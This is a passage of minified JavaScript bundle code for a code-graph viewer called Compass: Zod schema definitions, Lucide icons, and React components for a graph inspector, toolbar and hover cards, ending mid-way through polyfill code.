defaultValue(){return typeof e=="function"?e():sf(e)}})}const ED=F("ZodPrefault",(n,e)=>{qO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>hN(n,t,i,C),n.unwrap=()=>n._zod.def.innerType});function TD(n,e){return new ED({type:"prefault",innerType:n,get defaultValue(){return typeof e=="function"?e():sf(e)}})}const tp=F("ZodNonOptional",(n,e)=>{JO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>uN(n,t,i,C),n.unwrap=()=>n._zod.def.innerType});function SD(n,e){return new tp({type:"nonoptional",innerType:n,...oe(e)})}const OD=F("ZodCatch",(n,e)=>{$O.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>fN(n,t,i,C),n.unwrap=()=>n._zod.def.innerType,n.removeCatch=n.unwrap});function xD(n,e){return new OD({type:"catch",innerType:n,catchValue:typeof e=="function"?e:()=>e})}const ND=F("ZodPipe",(n,e)=>{ex.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>pN(n,t,i,C),n.in=e.in,n.out=e.out});function gp(n,e){return new ND({type:"pipe",in:n,out:e})}const DD=F("ZodReadonly",(n,e)=>{tx.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>mN(n,t,i,C),n.unwrap=()=>n._zod.def.innerType});function zD(n){return new DD({type:"readonly",innerType:n})}const RD=F("ZodCustom",(n,e)=>{gx.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>CN(n,t)});function MD(n,e={}){return Qx(RD,n,e)}function _D(n,e){return Xx(n,e)}const kD="compass.viewer.graph/1",ip=pi({file:ut(),startLine:Sg().int().positive().optional(),endLine:Sg().int().positive().optional(),startByte:Sg().int().nonnegative().optional(),endByte:Sg().int().nonnegative().optional()}).passthrough(),ZD=pi({field:ut().min(1),before:Pn().optional(),after:Pn().optional()}),np=pi({before:qf(ut(),Pn()).optional(),after:qf(ut(),Pn()).optional(),fields:NA(ZD)}),BD=pi({id:ut().min(1),label:ut(),kind:ut().optional(),community:Sg().int(),communityName:ut().optional(),degree:Sg().int().nonnegative().optional(),language:ut().optional(),signature:ut().optional(),size:Sg().positive().optional(),memberCount:Sg().int().nonnegative().optional(),learningStatus:ut().optional(),learningStale:gl().optional(),change:is(["added","removed","changed","unchanged"]).optional(),evidence:np.optional(),source:ip.optional(),color:pi({background:ut(),border:ut()}).passthrough().optional()}).passthrough(),PD=pi({id:ut().min(1),source:ut().min(1),target:ut().min(1),relation:ut(),change:is(["added","removed","changed","unchanged"]).optional(),evidence:np.optional(),confidence:is(["extracted","inferred","ambiguous","aggregated"]).optional()}).passthrough(),jD=pi({id:Sg().int(),label:ut(),color:ut(),hidden:gl().default(!1)}).passthrough(),LD=pi({schema:hD(kD),title:ut(),stats:pi({nodes:Sg().int().nonnegative(),edges:Sg().int().nonnegative(),communities:Sg().int().nonnegative(),aggregated:gl()}).passthrough(),nodes:NA(BD),edges:NA(PD),communities:NA(jD),hyperedges:NA(Pn()).default([])}).passthrough();const GD=n=>n.replace(/([a-z0-9])([A-Z])/g,"$1-$2").toLowerCase(),FD=n=>n.replace(/^([A-Z])|[\s-_]+(\w)/g,(e,t,i)=>i?i.toUpperCase():t.toLowerCase()),Ap=n=>{const e=FD(n);return e.charAt(0).toUpperCase()+e.slice(1)},Cp=(...n)=>n.filter((e,t,i)=>!!e&&e.trim()!==""&&i.indexOf(e)===t).join(" ").trim(),VD=n=>{for(const e in n)if(e.startsWith("aria-")||e==="role"||e==="title")return!0};var YD={xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:2,strokeLinecap:"round",strokeLinejoin:"round"};const UD=Ce.forwardRef(({color:n="currentColor",size:e=24,strokeWidth:t=2,absoluteStrokeWidth:i,className:C="",children:o,iconNode:s,...a},l)=>Ce.createElement("svg",{ref:l,...YD,width:e,height:e,stroke:n,strokeWidth:i?Number(t)*24/Number(e):t,className:Cp("lucide",C),...!o&&!VD(a)&&{"aria-hidden":"true"},...a},[...s.map(([u,h])=>Ce.createElement(u,h)),...Array.isArray(o)?o:[o]]));const lg=(n,e)=>{const t=Ce.forwardRef(({className:i,...C},o)=>Ce.createElement(UD,{ref:o,iconNode:e,className:Cp(`lucide-${GD(Ap(n))}`,`lucide-${n}`,i),...C}));return t.displayName=Ap(n),t};const HD=lg("arrow-left",[["path",{d:"m12 19-7-7 7-7",key:"1l729n"}],["path",{d:"M19 12H5",key:"x3x0zl"}]]);const KD=lg("compass",[["path",{d:"m16.24 7.76-1.804 5.411a2 2 0 0 1-1.265 1.265L7.76 16.24l1.804-5.411a2 2 0 0 1 1.265-1.265z",key:"9ktpf1"}],["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}]]);const nl=lg("external-link",[["path",{d:"M15 3h6v6",key:"1q9fwt"}],["path",{d:"M10 14 21 3",key:"gplh6r"}],["path",{d:"M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6",key:"a6xqqp"}]]);const QD=lg("file-code-2",[["path",{d:"M4 22h14a2 2 0 0 0 2-2V7l-5-5H6a2 2 0 0 0-2 2v4",key:"1pf5j1"}],["path",{d:"M14 2v4a2 2 0 0 0 2 2h4",key:"tnqrlb"}],["path",{d:"m5 12-3 3 3 3",key:"oke12k"}],["path",{d:"m9 18 3-3-3-3",key:"112psh"}]]);const XD=lg("maximize-2",[["path",{d:"M15 3h6v6",key:"1q9fwt"}],["path",{d:"m21 3-7 7",key:"1l2asr"}],["path",{d:"m3 21 7-7",key:"tjx5ai"}],["path",{d:"M9 21H3v-6",key:"wtvkvv"}]]);const WD=lg("network",[["rect",{x:"16",y:"16",width:"6",height:"6",rx:"1",key:"4q2zg0"}],["rect",{x:"2",y:"16",width:"6",height:"6",rx:"1",key:"8cvhb9"}],["rect",{x:"9",y:"2",width:"6",height:"6",rx:"1",key:"1egb70"}],["path",{d:"M5 16v-3a1 1 0 0 1 1-1h12a1 1 0 0 1 1 1v3",key:"1jsf9p"}],["path",{d:"M12 12V8",key:"2874zd"}]]);const qD=lg("panel-right-close",[["rect",{width:"18",height:"18",x:"3",y:"3",rx:"2",key:"afitv7"}],["path",{d:"M15 3v18",key:"14nvp0"}],["path",{d:"m8 9 3 3-3 3",key:"12hl5m"}]]);const JD=lg("panel-right-open",[["rect",{width:"18",height:"18",x:"3",y:"3",rx:"2",key:"afitv7"}],["path",{d:"M15 3v18",key:"14nvp0"}],["path",{d:"m10 15-3-3 3-3",key:"1pgupc"}]]);const $D=lg("pause",[["rect",{x:"14",y:"3",width:"5",height:"18",rx:"1",key:"kaeet6"}],["rect",{x:"5",y:"3",width:"5",height:"18",rx:"1",key:"1wsw3u"}]]);const ez=lg("play",[["path",{d:"M5 5a2 2 0 0 1 3.008-1.728l11.997 6.998a2 2 0 0 1 .003 3.458l-12 7A2 2 0 0 1 5 19z",key:"10ikf1"}]]);const tz=lg("rotate-ccw",[["path",{d:"M3 12a9 9 0 1 0 9-9 9.75 9.75 0 0 0-6.74 2.74L3 8",key:"1357e3"}],["path",{d:"M3 3v5h5",key:"1xhq8a"}]]);const gz=lg("search",[["path",{d:"m21 21-4.34-4.34",key:"14j7rj"}],["circle",{cx:"11",cy:"11",r:"8",key:"4ej97u"}]]);const iz=lg("tags",[["path",{d:"M13.172 2a2 2 0 0 1 1.414.586l6.71 6.71a2.4 2.4 0 0 1 0 3.408l-4.592 4.592a2.4 2.4 0 0 1-3.408 0l-6.71-6.71A2 2 0 0 1 6 9.172V3a1 1 0 0 1 1-1z",key:"16rjxf"}],["path",{d:"M2 7v6.172a2 2 0 0 0 .586 1.414l6.71 6.71a2.4 2.4 0 0 0 3.191.193",key:"178nd4"}],["circle",{cx:"10.5",cy:"6.5",r:".5",fill:"currentColor",key:"12ikhr"}]]);function nz(n,e=240){const t=n===void 0?"Not recorded":typeof n=="string"?n:JSON.stringify(n,null,Az(n)?2:void 0)??String(n);return t.length<=e?{text:t,truncated:!1}:{text:`${t.slice(0,Math.max(0,e-1)).trimEnd()}…`,truncated:!0}}function Az(n){return typeof n=="object"&&n!==null&&!Array.isArray(n)}function Cz({node:n,edges:e,nodes:t,sourceRevisions:i,onFocus:C,onOpenSource:o}){const s=sp(n.evidence?.before),a=sp(n.evidence?.after);return E.jsxs(E.Fragment,{children:[n.evidence?.fields.length?E.jsxs("section",{className:"compass-record-evidence","aria-labelledby":"compass-node-changes-title",children:[E.jsxs("div",{className:"compass-evidence-heading",children:[E.jsx("h3",{id:"compass-node-changes-title",children:Iz(n.change)}),E.jsxs("span",{children:[n.evidence.fields.length," fields"]})]}),E.jsx(Ip,{fields:n.evidence.fields}),n.change==="changed"&&(s||a)&&E.jsxs("div",{className:"compass-evidence-source-actions",children:[s&&E.jsxs("button",{type:"button",onClick:()=>o(s,i?.before),children:[E.jsx(nl,{"aria-hidden":"true"}),"Open before"]}),a&&E.jsxs("button",{type:"button",onClick:()=>o(a,i?.after),children:[E.jsx(nl,{"aria-hidden":"true"}),"Open after"]})]})]}):null,E.jsxs("section",{className:"compass-relationship-evidence","aria-labelledby":"compass-relationships-title",children:[E.jsxs("div",{className:"compass-neighbors-heading",children:[E.jsx("span",{id:"compass-relationships-title",children:"Relationships"}),E.jsx("strong",{children:e.length})]}),e.length?E.jsx("div",{className:"compass-relationship-list",children:e.map(l=>{const u=l.source===n.id?l.target:l.source,h=t.get(u);return E.jsxs("details",{children:[E.jsxs("summary",{children:[E.jsx("span",{className:"compass-change-badge","data-change":l.change,children:rp(l.change)}),E.jsx("span",{className:"compass-relationship-target",children:h?.label??u}),E.jsx("small",{children:l.relation}),l.confidence&&E.jsx("i",{children:l.confidence})]}),E.jsxs("div",{className:"compass-relationship-detail",children:[l.change==="changed"&&l.evidence?.fields.length?E.jsx(Ip,{fields:l.evidence.fields}):E.jsxs("p",{children:[rp(l.change)," relationship: ",l.source," → ",l.target]}),E.jsxs("button",{type:"button",onClick:()=>C(u),children:["Focus ",h?.label??u]})]})]},l.id)})}):E.jsx("span",{className:"compass-empty",children:"No connected relationships"})]})]})}function Ip({fields:n}){return E.jsx("div",{className:"compass-field-table-wrap",children:E.jsxs("table",{className:"compass-field-table",children:[E.jsx("thead",{children:E.jsxs("tr",{children:[E.jsx("th",{children:"Field"}),E.jsx("th",{children:"Before"}),E.jsx("th",{children:"After"})]})}),E.jsx("tbody",{children:n.map(e=>E.jsxs("tr",{children:[E.jsx("th",{scope:"row",children:e.field}),E.jsx(op,{value:e.before}),E.jsx(op,{value:e.after})]},e.field))})]})})}function op({value:n}){const e=nz(n);return E.jsxs("td",{children:[E.jsx("code",{children:e.text}),e.truncated&&E.jsx("span",{className:"compass-value-truncated",children:"Value shortened"})]})}function sp(n){const e=ip.safeParse(n?.source);return e.success?e.data:void 0}function rp(n){return!n||n==="unchanged"?"Context":`${n[0]?.toLocaleUpperCase()}${n.slice(1)}`}function Iz(n){return n==="added"?"Added symbol metadata":n==="removed"?"Removed symbol metadata":"What changed"}const ap=100,lp={changed:0,added:1,removed:2,unchanged:3};function oz({nodes:n,query:e,selectedId:t,onFocus:i}){const[C,o]=Ce.useState(!1),s=e.trim().toLocaleLowerCase(),a=n.filter(u=>u.change&&u.change!=="unchanged").filter(u=>!s||u.label.toLocaleLowerCase().includes(s)||u.kind?.toLocaleLowerCase().includes(s)||u.source?.file.toLocaleLowerCase().includes(s)).sort((u,h)=>lp[u.change??"unchanged"]-lp[h.change??"unchanged"]||u.label.localeCompare(h.label)||u.id.localeCompare(h.id)),l=C?a:a.slice(0,ap);return E.jsxs("section",{className:"compass-changed-symbols","aria-labelledby":"compass-changed-symbols-title",children:[E.jsxs("div",{className:"compass-section-heading",children:[E.jsx("h2",{id:"compass-changed-symbols-title",children:"Changed symbols"}),E.jsx("span",{children:a.length})]}),l.length?E.jsx("div",{className:"compass-changed-symbol-list",children:l.map(u=>E.jsxs("button",{type:"button","aria-pressed":u.id===t,"data-change":u.change,onClick:()=>i(u.id),children:[E.jsx("span",{className:"compass-changed-symbol-status",children:sz(u.change)}),E.jsx("strong",{children:u.label}),E.jsx("small",{children:u.source?.file??u.kind??"Graph symbol"})]},u.id))}):E.jsx("p",{className:"compass-empty",children:s?"No affected symbols match this search.":"No symbol changes."}),!C&&a.length>ap&&E.jsxs("button",{className:"compass-changed-symbol-expand",type:"button",onClick:()=>o(!0),children:["Show all ",a.length.toLocaleString()," affected symbols"]})]})}function sz(n){return!n||n==="unchanged"?"Context":`${n[0]?.toLocaleUpperCase()}${n.slice(1)}`}function cp(n){const e=n.source;return e?.file.trim()&&(e.startLine!==void 0||e.endLine!==void 0||e.startByte!==void 0||e.endByte!==void 0)?e:void 0}function rz(n){const e=n.source?.startLine,t=n.source?.endLine;if(e!==void 0)return t!==void 0&&t!==e?`${e}–${t}`:String(e)}function up(n){const e=n.source?.startLine,t=n.source?.endLine;if(e!==void 0)return t!==void 0&&t!==e?{text:`Lines ${e}–${t}`,action:`at lines ${e}–${t}`}:{text:`Line ${e}`,action:`at line ${e}`};const i=n.source?.startByte,C=n.source?.endByte;if(i!==void 0)return C!==void 0&&C!==i?{text:`Bytes ${i}–${C}`,action:`at bytes ${i}–${C}`}:{text:`Byte ${i}`,action:`at byte ${i}`}}function dp(n,e){const t=up(n);return`Open source ${e.file}${t?` ${t.action}`:""}`}function hp(n){return n==="unchanged"?"Context":n?`${n[0]?.toLocaleUpperCase()}${n.slice(1)}`:void 0}function az(n){if(n)return{added:"var(--vscode-gitDecoration-addedResourceForeground, #2ea043)",removed:"var(--vscode-gitDecoration-deletedResourceForeground, #f85149)",changed:"var(--vscode-gitDecoration-modifiedResourceForeground, #d29922)",unchanged:"var(--vscode-descriptionForeground, #6e7781)"}[n]}function lz({model:n,selected:e,neighbors:t,connectedEdges:i,query:C,matches:o,hiddenCommunities:s,comparisonMode:a,sourceRevisions:l,onQueryChange:u,onFocus:h,onOpenSource:p,onOpenCommunity:m,onToggleCommunity:v,onSetAllVisible:w,collapsed:D,onToggleCollapsed:N}){const[z,k]=Ce.useState(0),Y=e?cp(e):void 0,j=e?rz(e):void 0,K=e?up(e):void 0,Ae=Ce.useMemo(()=>{const ie=new Map;for(const fe of n.nodes)ie.set(fe.community,(ie.get(fe.community)??0)+1);return ie},[n.nodes]),q=s.size===0,re=Ce.useMemo(()=>new Map(n.nodes.map(ie=>[ie.id,ie])),[n.nodes]),ze=ie=>{h(ie.id),u(""),k(0)},Ge=ie=>{!o.length&&ie.key!=="Escape"||(ie.key==="ArrowDown"?(ie.preventDefault(),k((z+1)%o.length)):ie.key==="ArrowUp"?(ie.preventDefault(),k((z-1+o.length)%o.length)):ie.key==="Enter"&&o[z]?(ie.preventDefault(),ze(o[z])):ie.key==="Escape"&&(u(""),k(0)))};return D?E.jsxs("aside",{className:"compass-graph-inspector compass-graph-inspector-collapsed","aria-label":"Graph inspector",children:[E.jsx("button",{className:"compass-inspector-disclosure compass-inspector-expand",type:"button","aria-label":"Expand graph inspector",title:"Expand graph inspector",onClick:N,children:E.jsx(JD,{"aria-hidden":"true"})}),E.jsx("span",{className:"compass-inspector-rail-label","aria-hidden":"true",children:"Inspector"})]}):E.jsxs("aside",{className:"compass-graph-inspector","aria-label":"Graph inspector",children:[E.jsxs("header",{className:"compass-inspector-header",children:[E.jsx("span",{className:"compass-product-mark","aria-hidden":"true",children:E.jsx(KD,{})}),E.jsxs("span",{className:"compass-inspector-title",children:[E.jsx("strong",{children:"Compass"}),E.jsx("small",{children:n.title})]}),E.jsx("button",{className:"compass-inspector-disclosure",type:"button","aria-label":"Collapse graph inspector",title:"Collapse graph inspector",onClick:N,children:E.jsx(qD,{"aria-hidden":"true"})})]}),E.jsxs("div",{className:"compass-inspector-search",role:"search",children:[E.jsx("label",{className:"sr-only",htmlFor:"compass-node-search",children:"Search graph nodes"}),E.jsxs("div",{className:"compass-search-field",children:[E.jsx(gz,{"aria-hidden":"true"}),E.jsx("input",{id:"compass-node-search",type:"search",role:"combobox",value:C,placeholder:"Search nodes and files",autoComplete:"off","aria-controls":"compass-search-results","aria-autocomplete":"list","aria-expanded":o.length>0,"aria-activedescendant":o[z]?`compass-search-result-${z}`:void 0,onChange:ie=>{u(ie.target.value),k(0)},onKeyDown:Ge})]}),o.length>0&&E.jsx("div",{id:"compass-search-results",className:"compass-search-results",role:"listbox","aria-label":"Matching nodes",children:o.map((ie,fe)=>E.jsxs("button",{id:`compass-search-result-${fe}`,type:"button",role:"option","aria-selected":fe===z,className:"compass-search-item",onMouseEnter:()=>k(fe),onClick:()=>ze(ie),children:[E.jsx("strong",{children:ie.label}),E.jsx("span",{children:ie.source?.file??ie.kind??"Graph node"})]},ie.id))})]}),E.jsxs("section",{className:"compass-info-panel","aria-labelledby":"compass-info-title",children:[E.jsxs("div",{className:"compass-section-heading",children:[E.jsx("h2",{id:"compass-info-title",children:"Inspector"}),E.jsx("span",{children:e?"Pinned":"Node details"})]}),e?E.jsxs("div",{className:"compass-info-content",children:[E.jsxs("div",{className:"compass-node-identity",children:[E.jsx("span",{className:"compass-node-swatch","aria-hidden":"true",style:{background:az(e.change)??e.color?.background??n.communities.find(ie=>ie.id===e.community)?.color}}),E.jsxs("span",{children:[E.jsx("strong",{children:e.label}),E.jsx("small",{children:e.kind??"Symbol"})]}),hp(e.change)&&E.jsx("span",{className:"compass-change-badge","data-change":e.change,children:hp(e.change)})]}),E.jsxs("dl",{className:"compass-metadata-grid",children:[E.jsxs("div",{children:[E.jsx("dt",{children:"Community"}),E.jsx("dd",{children:e.communityName??n.communities.find(ie=>ie.id===e.community)?.label??e.community})]}),E.jsxs("div",{children:[E.jsx("dt",{children:"Degree"}),E.jsx("dd",{children:e.degree??t.length})]}),e.language&&E.jsxs("div",{children:[E.jsx("dt",{children:"Language"}),E.jsx("dd",{children:e.language})]}),j&&E.jsxs("div",{children:[E.jsx("dt",{children:"Lines"}),E.jsx("dd",{children:j})]}),E.jsx("div",{className:"compass-metadata-wide compass-source-metadata","data-interactive":Y!==void 0,children:Y?E.jsxs(E.Fragment,{children:[E.jsx("dt",{className:"sr-only",children:"Source"}),E.jsx("dd",{children:E.jsxs("button",{className:"compass-source-card",type:"button","aria-label":dp(e,Y),title:dp(e,Y),onClick:()=>p(Y,e.change==="removed"?l?.before:l?.after),children:[E.jsxs("span",{className:"compass-source-copy",children:[E.jsx("span",{className:"compass-source-eyebrow","aria-hidden":"true",children:"Source"}),E.jsx("span",{className:"compass-source-path",children:Y.file}),K&&E.jsx("span",{className:"compass-source-range",children:K.text})]}),E.jsx(nl,{"aria-hidden":"true"})]})})]}):E.jsxs(E.Fragment,{children:[E.jsx("dt",{children:"Source"}),E.jsx("dd",{title:e.source?.file??"Not recorded",children:e.source?.file??"Not recorded"})]})})]}),e.signature&&E.jsx("code",{className:"compass-signature-block",children:e.signature}),n.stats.aggregated&&e.memberCount!==void 0&&m&&E.jsxs("button",{className:"compass-inspector-action",type:"button",onClick:()=>m(e.community),children:[a?"Inspect changes":"Open community",E.jsxs("span",{children:[e.memberCount.toLocaleString()," ",a?"current symbols":"members"]})]}),a?E.jsx(Cz,{node:e,edges:i,nodes:re,sourceRevisions:l,onFocus:h,onOpenSource:p}):E.jsxs(E.Fragment,{children:[E.jsxs("div",{className:"compass-neighbors-heading",children:[E.jsx("span",{children:"Connected nodes"}),E.jsx("strong",{children:t.length})]}),E.jsx("div",{className:"compass-neighbors-list",children:t.length?t.map(ie=>E.jsxs("button",{type:"button",className:"compass-neighbor-link",title:ie.label,onClick:()=>h(ie.id),children:[E.jsx("span",{className:"compass-neighbor-dot","aria-hidden":"true",style:{background:ie.color?.background??n.communities.find(fe=>fe.id===ie.community)?.color??"var(--border)"}}),E.jsx("span",{className:"compass-neighbor-label",children:ie.label})]},ie.id)):E.jsx("span",{className:"compass-empty",children:"No connected nodes"})})]})]}):E.jsx("p",{className:"compass-empty",children:"Select a node to inspect its relationships."})]}),a&&!n.stats.aggregated&&E.jsx(oz,{nodes:n.nodes,query:C,selectedId:e?.id,onFocus:h}),E.jsx("section",{className:"compass-community-panel","aria-labelledby":"compass-communities-title","data-secondary":a,children:a?E.jsxs("details",{children:[E.jsxs("summary",{id:"compass-communities-title",children:["Communities",E.jsx("span",{children:n.communities.length})]}),E.jsx(fp,{model:n,communityCounts:Ae,hiddenCommunities:s,allVisible:q,onSetAllVisible:w,onToggleCommunity:v})]}):E.jsxs(E.Fragment,{children:[E.jsx("h2",{id:"compass-communities-title",children:"Communities"}),E.jsx(fp,{model:n,communityCounts:Ae,hiddenCommunities:s,allVisible:q,onSetAllVisible:w,onToggleCommunity:v})]})}),E.jsxs("footer",{className:"compass-graph-stats",children:[n.stats.nodes.toLocaleString()," nodes · ",n.stats.edges.toLocaleString()," edges ·"," ",n.stats.communities.toLocaleString()," communities"]})]})}function fp({model:n,communityCounts:e,hiddenCommunities:t,allVisible:i,onSetAllVisible:C,onToggleCommunity:o}){return E.jsxs("div",{className:"compass-community-controls",children:[E.jsxs("label",{className:"compass-community-control",children:[E.jsx("input",{type:"checkbox",checked:i,onChange:s=>C(s.target.checked)}),E.jsx("span",{children:"Select all"})]}),E.jsx("div",{className:"compass-community-list",children:n.communities.map(s=>{const a=!t.has(s.id);return E.jsxs("label",{className:"compass-community-item","data-hidden":!a,children:[E.jsx("input",{type:"checkbox",checked:a,onChange:()=>o(s.id)}),E.jsx("span",{className:"compass-community-dot","aria-hidden":"true",style:{background:s.color}}),E.jsx("span",{className:"compass-community-label",children:s.label}),E.jsx("small",{children:e.get(s.id)??0})]},s.id)})})]})}function cz({className:n="compass-load-logo"}){return E.jsx("svg",{className:n,viewBox:"0 0 24 24",fill:"none","aria-hidden":"true",children:E.jsx("path",{fill:"currentColor",fillRule:"evenodd",clipRule:"evenodd",d:"M3.554 21.529c1.797 1.221 4.943-.038 11.236-2.554 1.342-.537 2.013-.806 2.54-1.267q.201-.177.378-.378c.461-.527.73-1.198 1.267-2.54 2.515-6.293 3.775-9.44 2.554-11.236a4.1 4.1 0 0 0-1.083-1.083c-1.797-1.221-4.944.037-11.236 2.554-1.342.537-2.013.806-2.54 1.267q-.201.177-.378.378c-.461.527-.73 1.198-1.267 2.54-2.517 6.292-3.775 9.439-2.554 11.236.29.426.657.793 1.083 1.083M8.25 12a3.75 3.75 0 1 1 7.5 0 3.75 3.75 0 0 1-7.5 0m1.5 0a2.25 2.25 0 1 1 4.5 0 2.25 2.25 0 0 1-4.5 0"})})}const uz=1e4;function pp(n){const[e,t]=Ce.useState(!1);Ce.useEffect(()=>{if(n.kind!=="layout"){t(!1);return}const s=window.setTimeout(()=>{t(!0)},uz);return()=>window.clearTimeout(s)},[n.kind]);const i=n.kind==="community",C=i?`Opening ${n.communityLabel}`:e?"Still arranging this graph":"Arranging graph layout",o=i?"Fetching symbols and relationships for this community.":e?"This graph is taking longer than expected. You can open the current layout now.":"Positioning nodes and relationships for a readable first view.";return E.jsxs("section",{className:"compass-graph-transition","data-kind":n.kind,role:"status","aria-live":"polite","aria-atomic":"true",children:[E.jsxs("div",{className:"compass-load-visual","data-state":"loading","aria-hidden":"true",children:[E.jsx("span",{className:"compass-load-mark",children:E.jsx(cz,{})}),E.jsx("span",{className:"compass-load-progress",children:E.jsx("i",{})})]}),E.jsxs("div",{className:"compass-load-copy",children:[E.jsx("span",{className:"compass-load-eyebrow",children:"Compass graph"}),E.jsx("h1",{children:C}),E.jsx("p",{className:"compass-graph-transition-description",children:o}),!i&&e&&E.jsx("div",{className:"compass-load-actions",children:E.jsx("button",{className:"compass-load-action compass-load-action-primary",type:"button",onClick:n.onShowGraph,children:"Show graph now"})})]})]})}function dz({status:n,physicsRunning:e,forceLabels:t,onTogglePhysics:i,onFit:C,onReset:o,onToggleLabels:s,onBack:a}){return E.jsxs("div",{className:"compass-graph-toolbar compass-glass-panel",role:"toolbar","aria-label":"Graph controls",children:[E.jsxs("div",{className:"compass-viewer-status","data-state":e?"running":"paused",role:"status","aria-live":"polite",children:[E.jsx("span",{className:"compass-viewer-status-dot","aria-hidden":"true"}),E.jsx("span",{className:"compass-viewer-status-text",children:n})]}),E.jsxs("div",{className:"compass-toolbar-actions",children:[a&&E.jsxs("button",{className:"compass-tool-button",type:"button","aria-label":"Back to community overview",onClick:a,children:[E.jsx(HD,{}),E.jsx("span",{children:"Overview"})]}),E.jsxs("button",{className:"compass-tool-button",type:"button","aria-label":e?"Pause layout":"Resume layout","aria-pressed":e,onClick:i,children:[e?E.jsx($D,{}):E.jsx(ez,{}),E.jsx("span",{children:e?"Pause layout":"Resume layout"})]}),E.jsxs("button",{className:"compass-tool-button",type:"button","aria-label":"Fit graph in view",onClick:C,children:[E.jsx(XD,{}),E.jsx("span",{children:"Fit graph"})]}),E.jsxs("button",{className:"compass-tool-button",type:"button","aria-label":"Reset graph view",onClick:o,children:[E.jsx(tz,{}),E.jsx("span",{children:"Reset view"})]}),E.jsxs("button",{className:"compass-tool-button",type:"button","aria-label":t?"Hide labels":"Show labels","aria-pressed":t,onClick:s,children:[E.jsx(iz,{}),E.jsx("span",{children:t?"Hide labels":"Show labels"})]})]})]})}const mp=280,vp=560,yp=24,Al={width:340,collapsed:!1};function qC(n){return Number.isFinite(n)?Math.min(vp,Math.max(mp,Math.round(n))):Al.width}function bp(n){return{width:qC(n?.width??Al.width),collapsed:n?.collapsed??Al.collapsed}}function hz(n,e){return qC(n-e)}function fz(n,e){return qC(e==="ArrowLeft"?n+yp:e==="ArrowRight"?n-yp:n)}function pz({width:n,onResize:e}){const t=Ce.useRef(!1),i=C=>{t.current=!1,C.currentTarget.hasPointerCapture(C.pointerId)&&C.currentTarget.releasePointerCapture(C.pointerId)};return E.jsx("div",{className:"compass-inspector-resizer",role:"separator","aria-label":"Resize graph inspector","aria-orientation":"vertical","aria-valuemin":mp,"aria-valuemax":vp,"aria-valuenow":n,tabIndex:0,onPointerDown:C=>{t.current=!0,C.currentTarget.setPointerCapture(C.pointerId)},onPointerMove:C=>{if(!t.current)return;const o=C.currentTarget.parentElement;o&&e(hz(o.getBoundingClientRect().right,C.clientX))},onPointerUp:i,onPointerCancel:i,onKeyDown:C=>{C.key!=="ArrowLeft"&&C.key!=="ArrowRight"||(C.preventDefault(),e(fz(n,C.key)))},children:E.jsx("span",{"aria-hidden":"true"})})}function wp(n,e,t){if(t===void 0&&n.stats.aggregated&&e.memberCount!==void 0)return{type:"community",communityId:e.community};const i=cp(e);return i?{type:"source",source:i}:{type:"none"}}function mz(n){const e=n.source?.startLine,t=n.source?.endLine;if(e!==void 0)return t!==void 0&&t!==e?`${e}–${t}`:String(e)}function vz({node:n,hover:e,activation:t}){const i={"--compass-hover-x":`${e.x+18}px`,"--compass-hover-y":`${e.y-42}px`},C=mz(n);return E.jsxs("div",{className:"compass-node-hover-card",role:"tooltip",style:i,children:[E.jsxs("div",{className:"compass-hover-heading",children:[E.jsx("strong",{children:n.label}),E.jsx("span",{children:(n.kind??"symbol").toLocaleUpperCase()})]}),n.change&&E.jsx("span",{className:"compass-change-badge","data-change":n.change,children:n.change==="unchanged"?"Context":`${n.change[0]?.toLocaleUpperCase()}${n.change.slice(1)}`}),n.memberCount!==void 0?E.jsxs("p",{children:[n.memberCount.toLocaleString()," symbols"]}):E.jsxs(E.Fragment,{children:[n.language&&E.jsxs("p",{children:["Language: ",n.language]}),n.source?.file&&E.jsx("p",{className:"compass-hover-source",children:n.source.file}),C&&E.jsxs("p",{children:["Lines: ",C]}),n.signature&&E.jsx("code",{children:n.signature})]}),t.type!=="none"&&E.jsxs("p",{className:"compass-hover-hint",children:[t.type==="community"?E.jsx(WD,{"aria-hidden":"true"}):E.jsx(QD,{"aria-hidden":"true"}),E.jsxs("span",{children:[E.jsx("strong",{children:"Double-click"})," ",t.type==="community"?"to open community subgraph":"to open source code"]})]})]})}var Cl=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function ae(n){return n&&n.__esModule&&Object.prototype.hasOwnProperty.call(n,"default")?n.default:n}var ns=function(n){return n&&n.Math===Math&&n},ot=ns(typeof globalThis=="object"&&globalThis)||ns(typeof window=="object"&&window)||ns(typeof self=="object"&&self)||ns(typeof Cl=="object"&&Cl)||(function(){return this})()||Cl||Function("return this")(),Ze=function(n){try{return!!n()}catch{return!0}},yz=Ze,JC=!yz(function(){var n=(function(){}).bind();return typeof n!="function"||n.hasOwnProperty("prototype")}),bz=JC,Ep=Function.prototype,Tp=Ep.apply,Sp=Ep.call,As=typeof Reflect=="object"&&Reflect.apply||(bz?Sp.bind(Tp):function(){return Sp.apply(Tp,arguments)}),Op=JC,xp=Function.prototype,Il=xp.call,wz=Op&&xp.bind.bind(Il,Il),Be=Op?wz:function(n){return function(){return Il.apply(n,arguments)}},Np=Be,Ez=Np({}.toString),Tz=Np("".slice),mi=function(n){return Tz(Ez(n),8,-1)},Sz=mi,Oz=Be,ol=function(n){if(Sz(n)==="Function")return Oz(n)},sl=typeof document=="object"&&document.all,xz=typeof sl>"u"&&sl!==void 0,Dp={all:sl,IS_HTMLDDA:xz},zp=Dp,Nz=zp.all,Pt=zp.IS_HTMLDDA?function(n){return typeof n=="function"||n===Nz}:function(n){return typeof n=="function"},$C={},Dz=Ze,Dt=!Dz(function(){return Object.defineProperty({},1,{get:function(){return 7}})[1]!==7}),zz=JC,Cs=Function.prototype.call,Vg=zz?Cs.bind(Cs):function(){return Cs.apply(Cs,arguments)},eI={},Rp={}.propertyIsEnumerable,Mp=Object.getOwnPropertyDescriptor,Rz=Mp&&!Rp.call({1:2},1);eI.f=Rz?function(e){var t=Mp(this,e);return!!t&&t.enumerable}:Rp;var 